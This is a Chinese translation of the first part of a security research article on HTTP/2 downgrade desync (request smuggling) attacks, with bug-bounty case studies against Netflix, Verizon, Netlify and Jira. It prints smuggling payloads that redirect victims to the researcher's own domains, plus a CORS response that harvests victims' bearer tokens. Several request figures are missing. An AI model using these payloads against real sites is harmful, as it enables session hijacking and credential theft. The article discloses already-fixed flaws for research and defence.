这篇关于HTTP/2的文章翻译自国外某大牛的研究,内容比较多,小弟才疏学浅而且英语也很一般,肯定有很多地方翻译不到位,甚至理解有误,欢迎大家指正。文章比较长,先发出第一部分。
作者:James Kettle
原文:https://portswigger.net/research/http2

HTTP/2很容易被误认为是一种传输层协议,可以零安全影响地与后端web进行通信。在本文中,我将介绍HTTP/2特有的多种新型的威胁,这些威胁可能是实现过程中产生的,也可能是RFC本身的缺陷造成的。
首先,我将演示如何利用这些缺陷发起HTTP/2特有的desync attack(简单说就是前端和后端处理HTTP请求时,对某些HTTP头的处理前后不一致,本文对该名词不做翻译),分析测试的目标是一些知名网站,这些网站使用的服务产品包括亚马逊的应用负载、WAF、CDN等等。这些漏洞造成客户端劫持、缓存投毒、还有窃取身份凭证等危害以尽可能多的获得赏金。
之后,我将公布 新的技术和工具来打破desync-powered的请求隧道——一种广泛但被忽视的请求走私变体,通常被误认为是误报。
最后,我将分享HTTP/2引入的多个新的exploit-primitives,揭露服务层和应用层新的攻击面。
1. Hacker需要了解的HTTP/2
攻击HTTP/2的第一步是学习协议基础。幸运的是,要学的东西比你想象的要少。
我从编写HTTP/2客户端开始这项研究,但我得出的结论是,对于本文描述的攻击,我们可以放心地忽略许多底层特性的细节,如帧和流。
虽然HTTP/2很复杂,但它被设计用来传输与HTTP/1.1相同的信息。下面是两种协议发出的相同请求。
HTTP/1.1:
POST /login HTTP/1.1\r\n
Host: psres.net\r\n
User-Agent: burp\r\n
Content-Length: 9\r\n
\r\n
x=123&y=4
HTTP/2:

如果你已经熟悉HTTP/1,那么你只需要理解三个新概念。
1.1 伪头(Pseudo-Headers)
在HTTP/1中,请求的第一行包含请求方法和路径。HTTP/2用一系列伪头代替请求行。这五个伪头很容易识别,因为在他们名字的开头都有个冒号:
:method - 请求方法
:path - 请求路径,包括查询字符串
:authority - 跟Host头作用差不多
:scheme - 请求协议,如:'http' or 'https'
:status - 响应状态码,请求包不使用
1.2 二进制协议
HTTP/1是一个基于文本的协议,因此提交的请求按照字符串操作进行解析。例如,服务器需要查找冒号以知道HTTP头中字段的name何时结束。这种方式中潜在的不确定性使得desync attack成为可能。HTTP/2是一个像TCP一样的二进制协议,所以是基于预定义的偏移量进行解析,不容易出现模糊性。本文使用人类可读的而不是真实的字节来表示HTTP/2请求。例如,在网络中,伪头的name实际上被划分为1个字节——它们实际上不包含冒号。
1.3 消息长度
在HTTP/1中,每个消息体的长度通过Content-Length或Transfer-Encoding头表示。
在HTTP/2中,这些头是多余的,因为每个消息体是由数据帧组成的,这些数据帧有一个内置的长度字段。这意味着消息长度的模糊性很小,那如何利用HTTP/2进行desync attack呢。答案是HTTP/2降级。
2. HTTP/2 desync attack
2.1 通过HTTP/2降级实现请求走私
HTTP/2降级是指前端服务器与客户端之间使用HTTP/2,但在前端将请求转发到后端服务器之前,将请求重写为HTTP/1.1。这使得一系列攻击成为可能,其中包括HTTP请求走私:

经典的请求走私漏洞主要是因为前端和后端对于是否从Content-Length(CL)头,还是Transfer-Encoding (TE)头获取请求长度存在分歧。根据这种不同步的方式,该漏洞被分类为CL.TE或TE.CL。
使用HTTP/2的前端几乎总是使用HTTP/2的内置消息长度。然而,接收降级请求的后端不能访问此长度数据,所以必须使用CL或TE头。这导致了两种主要类型的漏洞: H2.TE和H2.CL。
2.2 案例研究
现在我们已经掌握了足够多的理论,可以开始挖掘一些真实的漏洞了。为了找到这些问题,我使用基于延时的H1-desync检测策略的一个改编版本,在HTTP Request Smuggler中实现自动检测。完成后,我用它来扫描漏洞赏金项目。除非另有说明,所有相关漏洞都已被修复,超过50%的漏洞赏金已捐赠给当地慈善机构。
以下内容涉及HTTP请求走私的相关知识。如果你发现理解有困难,我建议你阅读或观看HTTP异步攻击: 请求走私重生。
2.2.1 Netflix的H2.CL Desync
由于HTTP/2设置了数据帧的长度字段,所以Content-Length头是不需要了。然而,HTTP/2 RFC 声明这个头是允许的,只要它是正确的。对于我们的第一个案例研究,我们将目标锁定 www.netflix.com,它的前端没有验证内容长度就执行了HTTP降级。这使得H2.CL异步攻击成为可能。
为了利用它,我发出了以下HTTP/2请求:

在前端将此请求降级为HTTP/1.1后,它到达后端,看起来像这样:

由于错误的Content-Length,后端提前停止处理请求,橙色的数据被视为另一个请求的开始。这使我能够向下一个请求添加任意前缀,而不管它是谁发送的。
我精心设计了橙色前缀,以触发响应,将受害者的请求重定向到我的服务器 02.rs:
GET /anything HTTP/1.1
Host: www.netflix.com
HTTP/1.1 302 Found
Location: https://02.rs?x.netflix.com/n
通过重定向包含的JavaScript,我可以执行恶意JavaScript来泄露Netflix的帐户,并窃取密码和信用卡号码。通过循环运行这种攻击,我可以在没有用户交互的情况下陆续得到站点的所有活跃用户。这种严重性是请求走私的典型表现。
Netflix通过确认了这个漏洞,现在这个漏洞已经被修复,并被编号为CVE-2021-21295。Netflix给予最高赏金——2万美元。
2.2.2 应用负载上的H2.TE Desync
接下来,我们来看一个简单的H2.TE desync。RFC这样描述:必须将任何包含连接专用的头字段的消息看做是有缺陷的。因为HTTP/2不使用连接头相关字段来表示连接。
TE(Transfer-Encoding)头是其中的一个连接专用头。(查阅资料发现另外一种说法,TE头是唯一可以出现在HTTP/2请求里的,但它的值只能是"trailers"。)Amazon Web Services (AWS)的应用程序负载均衡未遵守此规范,接受包含Transfer-Encoding的请求。这意味着我可以通过H2.TE desync攻击几乎所有使用它的网站。
其中一个易受攻击的网站是Verizon的portal站点,位于id.b2b.oath.com。我使用以下请求进行攻击:

前端将此请求降级为:
POST /identity/XUI HTTP/1.1
Host: id.b2b.oath.com
Content-Length: 66
Transfer-Encoding: chunked
0
GET oops HTTP/1.1
Host: psres.net
Content-Length: 10
x=
这个看起来很熟悉,H2.TE的攻击方式与CL.TE非常相似。降级后,前端服务器忽略了“transfer-encoding: chunked”头,而TE头优先于前端添加的Content-Length头。这使得后端服务器提前停止解析请求体,并使我们能够将任意用户重定向到我的psres.net站点上。
当我报告这个漏洞时,triager(就是甲方处理漏洞报告的人)要求我提供进一步的证据,证明我可能会造成危害,所以我开始重定向在线实时用户,很快我在OAuth登录流程中捕捉到一些人,通过referer头泄露了他们的secret code:
GET /b2blanding/show/oops HTTP/1.1
Host: psres.net
Referer: https://id.b2b.oath.com/?…&code=secret
Verizon为此奖励了7000美元的赏金。
我在accounts.athena.aol.com上发现了一个类似的漏洞,但它的攻击路径不同。该CMS为包括赫芬顿邮报和Engadget在内的各种新闻网站提供服务。在这里,我可以再次发出一个HTTP/2请求,在降级后,命中后端并注入一个前缀,将受害者重定向到我的域名:
POST /account/login HTTP/1.1
Host: accounts.athena.aol.com
Content-Length: 72
Transfer-Encoding: chunked
0
GET account/1/logout?next=https://psres.net/ HTTP/1.1
X-Ignore: X
再一次,triager 想要更多的证据,所以我利用这个机会重定向了一些用户。然而,这一次,重定向过来的用户向我的服务器发出请求,“我可以向你发送我的凭证吗? ”:
OPTIONS / HTTP/1.1
Host: psres.net
Access-Control-Request-Headers: authorization
我赶紧配置了我的服务器来授予他们权限:
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: authorization
然后接收到了包含身份认证信息的数据流:
GET / HTTP/1.1
Host: psres.net
Authorization: Bearer eyJhbGwiOiJIUzI1NiIsInR6cCI6Ik…
这显示了一些有趣的浏览器行为,我将在以后研究。最终从Verizon获得了1万美元。
我还直接向Amazon报告了这个root漏洞,Amazon现在已经修复了应用负载,这样他们客户的网站就不会再暴露这个漏洞了。遗憾的是,他们没有对研究者提供友好的bug悬赏计划。
每个使用Imperva Cloud WAF的网站也很容易受到攻击,这延续了WAF使得WEB更容易攻击的传统。
2.2.3 通过请求头注入实现H2.TE
由于HTTP/1是明文协议,所以不可能在特定位置插入特定字符。例如,你不能在头的value中放入\r\n序列——这只会终止头。
HTTP/2的二进制设计,加上它压缩头的方式,使你可以把任意字符放在任意位置。服务器可能会通过额外的验证步骤重新施加HTTP/1风格的限制: 任何请求只要头字段的值中包含不允许的字符,该请求都必须被视为格式错误的。
当然,许多服务器都会跳过这个验证步骤。
一个容易受到攻击的实现是Netlify CDN,所有使用它的网站都可能受到H2.TE攻击,包括Firefox的起始页面start.mozilla.org。我构造了一个攻击,在头的value中添加 '\r\n' :

在降级时,\r\n触发了一个请求头注入漏洞,引入了一个额外的头: Transfer-Encoding: chunked

这触发了H2.TE desync,带有一个前缀(指 "x="),旨在让受害者从我自己的Netlify域接收恶意内容。由于Netlify的缓存设置,有害的响应将被保存下来,并持续返回给任何试图访问这个URL的人。实际上,我可以完全控制Netlify CDN上的每个站点的每个页面。这个漏洞的奖金总额为4000美元。
2.2.5 通过请求分割实现 H2.X
Atlassian的Jira看起来也有类似的漏洞。我创建了一个简单的概念验证,旨在触发两个不同的响应——一个普通的响应和robots.txt文件。实际的结果完全是另一回事:
视频链接:https://d2gl1b374o3yzk.cloudfront.net/research/videos/http2/092c73906ae9-atlassian-redacted/mp4/video.mp4
服务器开始向我发送其他Jira用户的响应,包括大量敏感信息和PII(不懂是什么东西,谁告诉一下)。
根本原因是我在构造payload时做了一个小优化。我决定,与其使用\r\n来走私一个Transfer-Encoding头,不如使用双\r\n来终止第一个请求,直接在头中包含恶意前缀:

这种方法避免了分块编码、消息体和POST方法的条件限制。然而,没有考虑到HTTP降级过程中的一个关键步骤——前端必须用\r\n\r\n终止HTTP头。这导致它终止前缀,把它变成一个完整的独立请求:

后端看到的不是通常的1.5个请求,而是2个请求。我收到了第一个响应,但是下一个用户收到了我走私请求的响应。然后,他应该收到的响应被发送给下一个用户,以此类推。实际上,前端开始无限地为每个用户提供前一个用户请求的响应。

更糟糕的是,其中一些包含了Set-Cookie头,它会持续地将用户登录到其他用户的帐户中。在部署了一个热补丁后,Atlassian选择全局终止所有用户会话。
在@defparam的《使用HTTP请求走私的实际攻击》一文中提到了这种潜在影响,但我认为这种普遍程度被低估了。出于明显的原因,我还没有在许多网站上尝试过,但根据我的理解,这种利用方法几乎都是适用的。因此,如果你发现一个请求走私漏洞,而供应商在没有更多证据的情况下不会认真对待它,那么走私两个请求应该可以让他们得到他们正在寻找的证据。
使Jira易受攻击的前端是pulsessecure虚拟流量管理。Atlassian的奖金是1.5万美元,是他们最高奖金的三倍。
除了Netlify和PulseSecure虚拟流量管理,这种技术也适用于其他一些服务器。与计算机应急响应小组(CERT)合作,我们发现F5的Big-IP负载均衡也容易受到攻击——要了解更多细节,请参阅咨询K97045220。它也适用于Imperva Cloud WAF。
2.2.6 通过Header Name注入实现H2.TE
在等待PulseSecure发布补丁的同时,Atlassian尝试了几个修补程序。第一个不允许在头的value中使用换行符,但没有过滤头的name。这很容易被利用,因为服务端允许在头name中使用冒号——这在HTTP/1.1中是不可能的:


2.2.7 通过请求行注入实现H2.TE
最初的补丁也没有过滤伪头,导致请求行注入漏洞。利用这些很简单,只要可视化注入发生的位置,并确保得到的HTTP/1.1请求是一个有效的请求行:


补丁的最后一个缺陷是一个典型的错误,即阻止' r\n',而不是阻止' \n'——后者基本上足以利用漏洞。




